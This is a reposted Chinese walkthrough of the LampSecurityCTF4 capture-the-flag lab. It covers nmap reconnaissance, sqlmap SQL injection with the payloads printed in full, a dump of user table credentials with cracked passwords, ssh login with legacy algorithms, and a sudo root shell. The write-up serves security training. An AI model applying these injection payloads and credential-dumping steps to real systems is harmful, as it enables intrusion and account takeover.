自学内容网 自学内容网
自学内容网 > 正文

LampSecurityCTF4 靶机渗透 ( sqlmap ，ssh 参数调整 )

🕗 发布于 2024-09-22 18:41 ssh  运维  linux  网络安全  

靶机介绍

来自 vulnhub

主机发现

┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo nmap -sn 192.168.50.0/24                        
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 10:30 CST
Nmap scan report for 192.168.50.1
Host is up (0.00021s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.50.134
Host is up (0.00021s latency).
MAC Address: 00:0C:29:83:4F:85 (VMware)
Nmap scan report for 192.168.50.154
Host is up (0.00012s latency).
MAC Address: 00:0C:29:82:96:4D (VMware)
Nmap scan report for 192.168.50.254
Host is up (0.00011s latency).
MAC Address: 00:50:56:F0:EB:77 (VMware)
Nmap scan report for 192.168.50.147
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 27.89 seconds
                                                                                                                 
┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo nmap --min-rate 10000 -p- 192.168.50.154        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 10:32 CST
Nmap scan report for 192.168.50.154
Host is up (0.00085s latency).
Not shown: 65512 filtered tcp ports (no-response), 19 filtered tcp ports (host-prohibited)
PORT    STATE  SERVICE
22/tcp  open   ssh
25/tcp  open   smtp
80/tcp  open   http
631/tcp closed ipp
MAC Address: 00:0C:29:82:96:4D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 26.43 seconds

┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo nmap -sT -sV -O -p22,25,80,631 192.168.50.154
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 10:33 CST
Nmap scan report for 192.168.50.154
Host is up (0.00028s latency).

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 4.3 (protocol 2.0)
25/tcp  open   smtp    Sendmail 8.13.5/8.13.5
80/tcp  open   http    Apache httpd 2.2.0 ((Fedora))
631/tcp closed ipp
MAC Address: 00:0C:29:82:96:4D (VMware)
Device type: general purpose|switch|remote management|terminal server|WAP|proxy server
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (95%), SNR embedded (93%), Control4 embedded (92%), Dell iDRAC 6 (92%), Lantronix embedded (92%), SonicWALL embedded (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:snr:snr-s2960 cpe:/o:dell:idrac6_firmware cpe:/h:lantronix:slc_8 cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.1 cpe:/o:sonicwall:aventail_ex-6000
Aggressive OS guesses: Linux 2.6.16 - 2.6.21 (95%), Linux 2.6.13 - 2.6.32 (95%), SNR SNR-S2960 switch (93%), Linux 2.6.8 - 2.6.30 (92%), Control4 HC-300 home controller (92%), Linux 2.6.9 - 2.6.18 (92%), Dell iDRAC 6 remote access controller (Linux 2.6) (92%), Lantronix SLC 8 terminal server (Linux 2.6) (92%), OpenWrt Barrier Breaker (Linux 3.10) (92%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: ctf4.sas.upenn.edu; OS: Unix

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.74 seconds

web 渗透

看一看 80 端口
在这里插入图片描述
看到 blog 的地址有点意思，尝试注入
在这里插入图片描述不能目录穿越
在这里插入图片描述加个单引号看看有没有 sql 注入，报错显示可能存在 sql 注入
在这里插入图片描述
使用 sqlmap 开搞

┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo sqlmap -u "http://192.168.50.154/index.html?page=blog&title=Blog&id=2" --dbs --dump --batch
        ___
       __H__                                                                                                                                                          
 ___ ___["]_____ ___ ___  {1.8.8#stable}                                                                                                                              
|_ -| . [,]     | .'| . |                                                                                                                                             
|___|_  [)]_|_|_|__,|  _|                                                                                                                                             
      |_|V...       |_|   https://sqlmap.org                                                                                                                          

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:15:24 /2024-09-22/

[16:15:24] [INFO] testing connection to the target URL
[16:15:25] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:15:25] [INFO] testing if the target URL content is stable
[16:15:25] [INFO] target URL content is stable
[16:15:25] [INFO] testing if GET parameter 'page' is dynamic
[16:15:25] [INFO] GET parameter 'page' appears to be dynamic


[16:15:36] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 202 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=blog&title=Blog&id=2 AND 4384=4384

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=blog&title=Blog&id=2 AND (SELECT 2095 FROM (SELECT(SLEEP(5)))vaXr)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171787071,0x415268624c754c43496a5357775a7770505557625273597a6d7943717a4d676c514a68444e704450,0x7162787671)-- -
---
[16:15:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 5 (Bordeaux)
web application technology: PHP 5.1.2, Apache 2.2.0
back-end DBMS: MySQL >= 5.0.12
[16:15:36] [INFO] fetching database names
available databases [6]:
[*] calendar
[*] ehks
[*] information_schema
[*] mysql
[*] roundcubemail
[*] test

[16:15:36] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[16:15:36] [INFO] starting 6 processes 
[16:15:37] [INFO] cracked password 'Homesite' for user 'pmoore'                                                                                                      
[16:15:37] [INFO] cracked password 'Sue1978' for user 'jdurbin'                                                                                                      
[16:15:37] [INFO] cracked password 'ilike2surf' for user 'dstevens'                                                                                                  
[16:15:38] [INFO] cracked password 'pacman' for user 'sorzek'                                                                                                        
[16:15:38] [INFO] cracked password 'undone1' for user 'ghighland'                                                                                                    
[16:15:38] [INFO] cracked password 'seventysixers' for user 'achen'                                                                                                  
Database: ehks                                                                                                                                                       
Table: user
[6 entries]
+---------+-----------+--------------------------------------------------+
| user_id | user_name | user_pass                                        |
+---------+-----------+--------------------------------------------------+
| 1       | dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)    |
| 2       | achen     | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| 3       | pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)      |
| 4       | jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)       |
| 5       | sorzek    | 64d1f88b9b276aece4b0edcc25b7a434 (pacman)        |
| 6       | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1)       |
+---------+-----------+--------------------------------------------------+

[16:15:39] [INFO] table 'ehks.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.50.154/dump/ehks/user.csv'
[16:15:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.50.154'

[*] ending @ 16:15:39 /2024-09-22/

SSH 参数补写

┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo ssh dstevens@192.168.50.154
Unable to negotiate with 192.168.50.154 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
                                                                                                                                                                      
┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.50.154
Unable to negotiate with 192.168.50.154 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
                                                                                                                                                                      
┌──(kali㉿kali)-[~/testLampSecurityCTF4]
└─$ sudo ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.50.154
The authenticity of host '192.168.50.154 (192.168.50.154)' can't be established.
RSA key fingerprint is SHA256:NDWh6/414mOsW4P7K6ICc5R67PrX87ADMFUx9DK9ftk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.154' (RSA) to the list of known hosts.
BSD SSH 4.1
dstevens@192.168.50.154's password: 
Last login: Wed Mar 11 09:45:34 2009
[dstevens@ctf4 ~]$

初级 shell

看看这个初级 shell 都有啥

[dstevens@ctf4 ~]$ 
[dstevens@ctf4 ~]$ whoami
dstevens
[dstevens@ctf4 ~]$ ip addr
-bash: ip: command not found
[dstevens@ctf4 ~]$ pwd
/home/dstevens
[dstevens@ctf4 ~]$ ls
Desktop  html  install.log  mail  software
[dstevens@ctf4 ~]$

提权

直接提权，因为当前用户 dstevens 有全部权限

[dstevens@ctf4 ~]$ uname -a
Linux ctf4.sas.upenn.edu 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 athlon i386 GNU/Linux
[dstevens@ctf4 ~]$ sudo -l
Password:
User dstevens may run the following commands on this host:
    (ALL) ALL
[dstevens@ctf4 ~]$ sudo /bin/bash
[root@ctf4 ~]# whoami
root
[root@ctf4 ~]# ip addr
bash: ip: command not found
[root@ctf4 ~]# ifconfig
bash: ifconfig: command not found
[root@ctf4 ~]#

总结

主机发现
在端口上，发现 80 端口是一个博客的站
观察 url 的特征，发现可能存在 sql 注入
通过 sqlmap 注入，拿到账号密码
使用 ssh 登录，对 ssh 参数进行调整
拿到初级 shell
检查当前用户的权限，使用 /bin/bash 提权，拿到 root
结束

结语

这台靶机较简单，如果使用 sqlmap。这意味着可用手工注入，如果想深入学习就用手工注入做一遍吧😄

渗透工具对渗透来说是最不重要的

工具在真正的渗透中不适用，因为工具会携带特征码，容易被防火墙拦截

只有懂得 sql 注入，如判断列，order，concat 等等，在内网没有工具时也能进行渗透测试

burpsuit，metasploit，sqlmap，等等工具，都是如此吧

(来自红笔老师的指点)


原文地址：https://blog.csdn.net/m0_63416413/article/details/142432951

免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！

相关文章

自学内容网
Copyright © 2015-2024